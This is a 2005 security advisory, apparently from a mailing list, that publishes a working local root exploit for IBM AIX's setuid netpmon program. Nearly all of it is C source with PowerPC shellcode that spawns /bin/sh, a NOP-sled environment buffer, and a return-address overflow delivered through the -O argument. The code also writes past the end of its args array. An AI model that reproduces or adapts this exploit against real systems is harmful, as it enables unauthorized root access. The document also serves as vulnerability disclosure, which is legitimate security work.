[EXPL] IBM AIX Netpmon Privileges Escalation Vulnerability Exploit

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Date: 20 Jun 2005 10:06:09 +0200

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  IBM AIX Netpmon Privileges Escalation Vulnerability Exploit
------------------------------------------------------------------------

SUMMARY

The netpmon program is "a setuid root application, installed by default
under multiple versions of IBM AIX, which can be used to monitor activity
and report statistics on network I/O and network-related CPU usage".

A vulnerability within IBM AIX's netpmon allows attackers to elevate their
privileges to that of the root.

DETAILS

Exploit:
/*
 *
 * IBM AIX netpmon elevated privileges exploit
 *
 * I just wanted to play with PowerPC (Tested on 5.2)
 *
 * intropy (intropy <at> caughq.org)
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define DEBUG 1
#define BUFFERSIZE 2048
#define EGGSIZE 2048

#define NOP 0x60
#define ADDRESS 0x2ff22fff-(BUFFERSIZE/2)

char shellcode_binsh[] =
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <shellcode> */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"/bin/sh"
"\x05";

unsigned long cex_load_environment(char *env_buffer, char *address_buffer,
char *payload, int environment_size, int buffer_size) {
        int count, env_size = strlen(payload) + environment_size + 4 + 1;
        unsigned long address, *ret_addressp;
        
        if (DEBUG) printf("Adding nops to environment buffer...");
        for ( count = 0; count < env_size - strlen(payload) - 1; count++ )
{
            *(env_buffer++) = NOP;
        }
        if (DEBUG) printf("size %d...\n", count);
        if (DEBUG) printf("Adding payload to environment buffer...");
        for ( count = 0; count < strlen(payload); count++ ) {
            *(env_buffer++) = payload[count];
        }
        if (DEBUG) printf("size %d...\n", count);

        env_buffer[env_size - 1] = '\0';

        memcpy(env_buffer, "CAU=", 4);

 memset(address_buffer, 'A', buffer_size);

        address = ADDRESS;

        if (DEBUG) printf("Going for address @ 0x%lx\n", address);

        if (DEBUG) printf("Adding return address to buffer...");
        ret_addressp = (unsigned long *)(address_buffer+3);
        for ( count = 0; count < buffer_size; count += 4) {
                *(ret_addressp++) = address;
        }
        if (DEBUG) printf("size %d...\n", count);

        address_buffer[buffer_size - 1] = '\0';

        return( 0 );
}

int main()
{
    char *buffer, *egg;
    char *args[3], *envs[2];

    buffer = (char *)malloc(BUFFERSIZE);
    egg = (char *)malloc(EGGSIZE);

    cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE,
BUFFERSIZE);

    args[0] = "/usr/bin/netpmon";
    args[1] = "-O";
    args[2] = buffer;
    args[3] = NULL;

    envs[0] = egg;
    envs[1] = NULL;

    execve( "/usr/bin/netpmon", args, envs );

    return( 0 );
}

/* EOF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:intropy@caughq.org> intropy.
The original article can be found at:
<http://www.caughq.org/exploits/2005/CAU-netpmon.c>
http://www.caughq.org/exploits/2005/CAU-netpmon.c

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